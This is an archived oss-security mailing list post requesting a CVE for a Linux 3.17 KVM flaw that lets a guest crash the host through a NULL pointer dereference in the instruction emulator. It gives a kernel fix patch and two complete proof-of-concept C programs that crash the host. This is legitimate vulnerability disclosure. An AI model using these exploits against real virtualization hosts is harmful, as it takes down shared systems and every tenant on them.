Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 23 Oct 2014 10:44:42 -0700
From: Andy Lutomirski <luto@...capital.net>
To: oss-security@...ts.openwall.com
Cc: Paolo Bonzini <pbonzini@...hat.com>, Nadav Amit <nadav.amit@...il.com>
Subject: CVE Request: Linux 3.17 guest-triggerable KVM OOPS

On Linux 3.17, a KVM guest can trigger a NULL pointer dereference by
forcing the host to emulate certain well-formed RIP-relative
instructions or certain types of corrupt or page-straddling
instructions.  This is almost certainly just a DoS -- there is a
single read-modify-write to the NULL pointer, and no kernel code will
consume data loaded from the NULL pointer if something is mapped
there.

The bugs, or at least dangerous code, arguably existed in much older
kernels, but the NULL pointer dereference was introduced in
41061cdb98a0bec464278b4db8e894a3121671f5, which is only present in
3.17.

To fix it, you can either revert the broken patch or you can apply
both patches here as well as the attached patch:
http://thread.gmane.org/gmane.comp.emulators.kvm.devel/128427
(NB: I'm not sure whether "Emulator does not decode clflush well" is necessary.)

Details:

Depending on your point of view, there are either one or two bugs
here.  Nadav Amit discovered an error in the instruction decoder that
would cause certain RIP-relative instructions to OOPS the decoder.
Specifically, rather than adding RIP to the operand address, RIP would
be added to *0 from the host's perspective.

I wrote an ugly proof-of-concept to trigger it (kvm_clflush_oops.c,
although I've cleaned it up somewhat since I originally wrote it).
That PoC only works on an SMP guest, and only when run as root.

I also discovered that Nadav's fix was incomplete (or that there was
another bug, depending on your perspective).  Certain invalid
instructions (due to multiple error cases, including a failure to
fetch part of the instruction or due to the instruction being too
long) could trigger the same NULL pointer dereference.

Nadav wrote an extremely elegant PoC that exploits this buggy error
handling, reproduced with permission below.  This PoC doesn't require
SMP or privilege; it's just crashes the host directly.  Figuring out
how it works is left as an exercise to the reader (hint: it might not
work on Atom hosts).

Please assign one or two CVEs as appropriate.  (And, if you're hosting
untrusted code on a Linux 3.17 host, patch your system!)

#include <sys/mman.h>
#include <stdlib.h>
#include <string.h>

int main()
{
        void *mem = mmap(NULL, 8192, PROT_EXEC | PROT_READ | PROT_WRITE,
                        MAP_ANON | MAP_PRIVATE | MAP_POPULATE, -1, 0);
        memcpy((char*)mem + 0xff3,
            "\xf0\x65\x65\x65\x65\x65\x65\x0f\x38\xf1"
            "\x05\x00\x00\x00\x00\x00", 15);
        asm volatile(“jmp *%0\n\t” : : "r" (mem+0xff3));
        return 0;
}

--Andy

From 14d3ae8df568a08903269006b345de5bdf173f55 Mon Sep 17 00:00:00 2001
From: Paolo Bonzini <pbonzini@...hat.com>
Date: Thu, 23 Oct 2014 14:54:14 +0200
Subject: [PATCH 1/1] KVM: emulate: avoid accessing NULL ctxt->memopp

A failure to decode the instruction can cause a NULL pointer access.
This is fixed simply by moving the "done" label as close as possible
to the return.

Reported-by: Andy Lutomirski <luto@...capital.net>
Cc: stable@...r.kernel.org
Fixes: 41061cdb98a0bec464278b4db8e894a3121671f5
Signed-off-by: Paolo Bonzini <pbonzini@...hat.com>
---
 arch/x86/kvm/emulate.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c
index 02c8ea804aaf..eb3b1c46f995 100644
--- a/arch/x86/kvm/emulate.c
+++ b/arch/x86/kvm/emulate.c
@@ -4580,10 +4580,10 @@ done_prefixes:
 	/* Decode and fetch the destination operand: register or memory. */
 	rc = decode_operand(ctxt, &ctxt->dst, (ctxt->d >> DstShift) & OpMask);
 
-done:
 	if (ctxt->rip_relative)
 		ctxt->memopp->addr.mem.ea += ctxt->_eip;
 
+done:
 	return (rc != X86EMUL_CONTINUE) ? EMULATION_FAILED : EMULATION_OK;
 }
 
-- 
1.8.3.1

// KVM clflush sploit (crashes a Linux 3.17 host)
// Copyright (c) 2014 Andy Lutomirski

#include <pthread.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>
#include <string.h>
#include <stdbool.h>
#include <sys/io.h>

asm (".pushsection .wtext, \"awx\"\n"
     "badcode:\n\t"
     "clflush (%rip)\n\t"
     "ret\n"
     ".popsection");

extern volatile unsigned short badcode[];

static void *proc(void *ignored)
{
	while (true)
		badcode[0] = 0xae0f;
	return NULL;
}

int main()
{
	if (iopl(3) != 0)
		err(1, "iopl");

	pthread_t pth;
	pthread_create(&pth, NULL, proc, NULL);

	while (true) {
		badcode[0] = 0x00e4;
		asm volatile ("call badcode" : : : "ax", "flags");
	}
}

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ